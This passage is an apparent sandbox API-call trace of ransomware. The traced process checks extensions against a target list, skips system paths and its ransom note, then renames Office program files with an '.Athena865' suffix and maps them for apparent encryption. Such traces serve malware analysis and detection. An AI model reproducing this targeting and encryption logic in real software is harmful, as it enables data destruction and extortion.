(lpString="$er") returned 3 [0088.913] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0088.913] lstrlenW (lpString="4dd") returned 3 [0088.913] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0088.913] lstrlenW (lpString="4dl") returned 3 [0088.913] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0088.913] lstrlenW (lpString="^^^") returned 3 [0088.913] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0088.913] lstrlenW (lpString="abs") returned 3 [0088.913] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0088.913] lstrlenW (lpString="abx") returned 3 [0088.913] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0088.913] lstrlenW (lpString="accdb") returned 5 [0088.913] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0088.913] lstrlenW (lpString="accdc") returned 5 [0088.913] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0088.913] lstrlenW (lpString="accde") returned 5 [0088.913] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0088.913] lstrlenW (lpString="accdr") returned 5 [0088.913] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0088.913] lstrlenW (lpString="accdt") returned 5 [0088.913] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0088.913] lstrlenW (lpString="accdw") returned 5 [0088.913] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0088.913] lstrlenW (lpString="accft") returned 5 [0088.913] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0088.913] lstrlenW (lpString="adb") returned 3 [0088.913] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0088.913] lstrlenW (lpString="adb") returned 3 [0088.913] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0088.914] lstrlenW (lpString="ade") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0088.914] lstrlenW (lpString="adf") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0088.914] lstrlenW (lpString="adn") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0088.914] lstrlenW (lpString="adp") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0088.914] lstrlenW (lpString="alf") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0088.914] lstrlenW (lpString="ask") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0088.914] lstrlenW (lpString="btr") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0088.914] lstrlenW (lpString="cat") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0088.914] lstrlenW (lpString="cdb") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0088.914] lstrlenW (lpString="ckp") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0088.914] lstrlenW (lpString="cma") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0088.914] lstrlenW (lpString="cpd") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0088.914] lstrlenW (lpString="dacpac") returned 6 [0088.914] lstrcmpiW (lpString1="vr.dll", lpString2="dacpac") returned 1 [0088.914] lstrlenW (lpString="dad") returned 3 [0088.914] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0088.914] lstrlenW (lpString="dadiagrams") returned 10 [0088.914] lstrcmpiW (lpString1="rdcnvr.dll", lpString2="dadiagrams") returned 1 [0088.914] lstrlenW (lpString="daschema") returned 8 [0088.915] lstrcmpiW (lpString1="cnvr.dll", lpString2="daschema") returned -1 [0088.915] lstrlenW (lpString="db-journal") returned 10 [0088.915] lstrcmpiW (lpString1="rdcnvr.dll", lpString2="db-journal") returned 1 [0088.915] lstrlenW (lpString="db-shm") returned 6 [0088.915] lstrcmpiW (lpString1="vr.dll", lpString2="db-shm") returned 1 [0088.915] lstrlenW (lpString="db-wal") returned 6 [0088.915] lstrcmpiW (lpString1="vr.dll", lpString2="db-wal") returned 1 [0088.915] lstrlenW (lpString="dbc") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0088.915] lstrlenW (lpString="dbs") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0088.915] lstrlenW (lpString="dbt") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0088.915] lstrlenW (lpString="dbv") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0088.915] lstrlenW (lpString="dbx") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0088.915] lstrlenW (lpString="dcb") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0088.915] lstrlenW (lpString="dct") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0088.915] lstrlenW (lpString="dcx") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0088.915] lstrlenW (lpString="ddl") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0088.915] lstrlenW (lpString="dlis") returned 4 [0088.915] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0088.915] lstrlenW (lpString="dp1") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0088.915] lstrlenW (lpString="dqy") returned 3 [0088.915] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0088.915] lstrlenW (lpString="dsk") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0088.916] lstrlenW (lpString="dsn") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0088.916] lstrlenW (lpString="dtsx") returned 4 [0088.916] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0088.916] lstrlenW (lpString="dxl") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0088.916] lstrlenW (lpString="eco") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0088.916] lstrlenW (lpString="ecx") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0088.916] lstrlenW (lpString="edb") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0088.916] lstrlenW (lpString="epim") returned 4 [0088.916] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0088.916] lstrlenW (lpString="fcd") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0088.916] lstrlenW (lpString="fdb") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0088.916] lstrlenW (lpString="fic") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0088.916] lstrlenW (lpString="flexolibrary") returned 12 [0088.916] lstrlenW (lpString="fm5") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0088.916] lstrlenW (lpString="fmp") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0088.916] lstrlenW (lpString="fmp12") returned 5 [0088.916] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0088.916] lstrlenW (lpString="fmpsl") returned 5 [0088.916] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 [0088.916] lstrlenW (lpString="fol") returned 3 [0088.916] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0088.917] lstrlenW (lpString="fp3") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0088.917] lstrlenW (lpString="fp4") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0088.917] lstrlenW (lpString="fp5") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0088.917] lstrlenW (lpString="fp7") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0088.917] lstrlenW (lpString="fpt") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0088.917] lstrlenW (lpString="frm") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0088.917] lstrlenW (lpString="gdb") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0088.917] lstrlenW (lpString="gdb") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0088.917] lstrlenW (lpString="grdb") returned 4 [0088.917] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0088.917] lstrlenW (lpString="gwi") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0088.917] lstrlenW (lpString="hdb") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0088.917] lstrlenW (lpString="his") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0088.917] lstrlenW (lpString="ib") returned 2 [0088.917] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0088.917] lstrlenW (lpString="idb") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0088.917] lstrlenW (lpString="ihx") returned 3 [0088.917] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0088.917] lstrlenW (lpString="itdb") returned 4 [0088.917] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0088.918] lstrlenW (lpString="itw") returned 3 [0088.918] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0088.918] lstrlenW (lpString="jet") returned 3 [0088.918] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0088.918] lstrlenW (lpString="jtx") returned 3 [0088.918] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0088.918] lstrlenW (lpString="kdb") returned 3 [0088.918] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0088.918] lstrlenW (lpString="kexi") returned 4 [0088.918] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0088.918] lstrlenW (lpString="kexic") returned 5 [0088.918] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0088.918] lstrlenW (lpString="kexis") returned 5 [0088.918] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0088.918] lstrlenW (lpString="lgc") returned 3 [0088.918] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0088.918] lstrlenW (lpString="lwx") returned 3 [0088.918] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0088.918] lstrlenW (lpString="maf") returned 3 [0088.918] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0088.918] lstrlenW (lpString="maq") returned 3 [0088.918] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0088.918] lstrlenW (lpString="mar") returned 3 [0088.918] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0088.918] lstrcmpiW (lpString1="nvr.dll", lpString2="marshal") returned 1 [0088.919] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvr.dll.Athena865") returned 65 [0088.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvr.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvr.dll.athena865"), dwFlags=0x1) returned 1 [0088.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvr.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0088.921] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=405344) returned 1 [0088.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0088.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0088.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0088.921] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0088.922] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0088.922] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.922] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x63260, lpName=0x0) returned 0x17c [0088.924] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x63260) returned 0x2d50000 [0088.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0088.944] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0088.944] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0088.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0088.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0088.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0088.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0088.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0088.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0088.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0088.945] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0088.948] CloseHandle (hObject=0x17c) returned 1 [0088.948] CloseHandle (hObject=0x154) returned 1 [0088.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0088.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0088.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0088.950] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x5f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wordconv.exe", cAlternateFileName="")) returned 1 [0088.950] lstrcmpiW (lpString1="Wordconv.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0088.950] lstrcmpiW (lpString1="Wordconv.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0088.950] lstrcmpiW (lpString1="Wordconv.exe", lpString2=".") returned 1 [0088.950] lstrcmpiW (lpString1="Wordconv.exe", lpString2="..") returned 1 [0088.950] lstrcmpiW (lpString1="Wordconv.exe", lpString2="windows") returned 1 [0088.950] lstrcmpiW (lpString1="Wordconv.exe", lpString2="bootmgr") returned 1 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2="temp") returned 1 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2="pagefile.sys") returned 1 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2="boot") returned 1 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2="ids.txt") returned 1 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2="ntuser.dat") returned 1 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2="perflogs") returned 1 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2="MSBuild") returned 1 [0088.951] lstrlenW (lpString="Wordconv.exe") returned 12 [0088.951] lstrcpyW (in: lpString1=0x241e89e, lpString2="Wordconv.exe" | out: lpString1="Wordconv.exe") returned="Wordconv.exe" [0088.951] lstrlenW (lpString="Wordconv.exe") returned 12 [0088.951] lstrlenW (lpString="Athena865") returned 9 [0088.951] lstrcmpiW (lpString1="dconv.exe", lpString2="Athena865") returned 1 [0088.951] lstrlenW (lpString=".dll") returned 4 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2=".dll") returned 1 [0088.951] lstrlenW (lpString=".lnk") returned 4 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2=".lnk") returned 1 [0088.951] lstrlenW (lpString=".ini") returned 4 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2=".ini") returned 1 [0088.951] lstrlenW (lpString=".sys") returned 4 [0088.951] lstrcmpiW (lpString1="Wordconv.exe", lpString2=".sys") returned 1 [0088.951] lstrlenW (lpString="Wordconv.exe") returned 12 [0088.951] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Wordconv.exe.Athena865") returned 65 [0088.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordconv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\wordconv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordconv.exe.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordconv.exe.athena865"), dwFlags=0x1) returned 1 [0088.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordconv.exe.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordconv.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0088.953] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24416) returned 1 [0088.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0088.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0088.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0088.969] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0088.970] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0088.970] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.970] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6260, lpName=0x0) returned 0x17c [0088.972] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6260) returned 0x100000 [0088.998] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0088.999] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0088.999] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0088.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0088.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0088.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0088.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0088.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0088.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0088.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0088.999] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0089.000] CloseHandle (hObject=0x17c) returned 1 [0089.000] CloseHandle (hObject=0x154) returned 1 [0089.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.000] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WORDICON.EXE", cAlternateFileName="")) returned 1 [0089.000] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.000] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.000] lstrcmpiW (lpString1="WORDICON.EXE", lpString2=".") returned 1 [0089.000] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="..") returned 1 [0089.000] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="windows") returned 1 [0089.000] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="bootmgr") returned 1 [0089.000] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="temp") returned 1 [0089.000] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="pagefile.sys") returned 1 [0089.000] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="boot") returned 1 [0089.001] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="ids.txt") returned 1 [0089.001] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="ntuser.dat") returned 1 [0089.001] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="perflogs") returned 1 [0089.001] lstrcmpiW (lpString1="WORDICON.EXE", lpString2="MSBuild") returned 1 [0089.001] lstrlenW (lpString="WORDICON.EXE") returned 12 [0089.001] lstrcpyW (in: lpString1=0x241e89e, lpString2="WORDICON.EXE" | out: lpString1="WORDICON.EXE") returned="WORDICON.EXE" [0089.001] lstrlenW (lpString="WORDICON.EXE") returned 12 [0089.001] lstrlenW (lpString="Athena865") returned 9 [0089.001] lstrcmpiW (lpString1="DICON.EXE", lpString2="Athena865") returned 1 [0089.001] lstrlenW (lpString=".dll") returned 4 [0089.001] lstrcmpiW (lpString1="WORDICON.EXE", lpString2=".dll") returned 1 [0089.001] lstrlenW (lpString=".lnk") returned 4 [0089.001] lstrcmpiW (lpString1="WORDICON.EXE", lpString2=".lnk") returned 1 [0089.001] lstrlenW (lpString=".ini") returned 4 [0089.001] lstrcmpiW (lpString1="WORDICON.EXE", lpString2=".ini") returned 1 [0089.001] lstrlenW (lpString=".sys") returned 4 [0089.001] lstrcmpiW (lpString1="WORDICON.EXE", lpString2=".sys") returned 1 [0089.001] lstrlenW (lpString="WORDICON.EXE") returned 12 [0089.001] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\WORDICON.EXE.Athena865") returned 65 [0089.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\wordicon.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDICON.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordicon.exe.athena865"), dwFlags=0x1) returned 1 [0089.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDICON.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordicon.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0089.003] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1858400) returned 1 [0089.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.003] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.004] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.004] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.004] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c5e60, lpName=0x0) returned 0x17c [0089.006] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c5e60) returned 0x2d50000 [0089.180] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.180] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.180] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 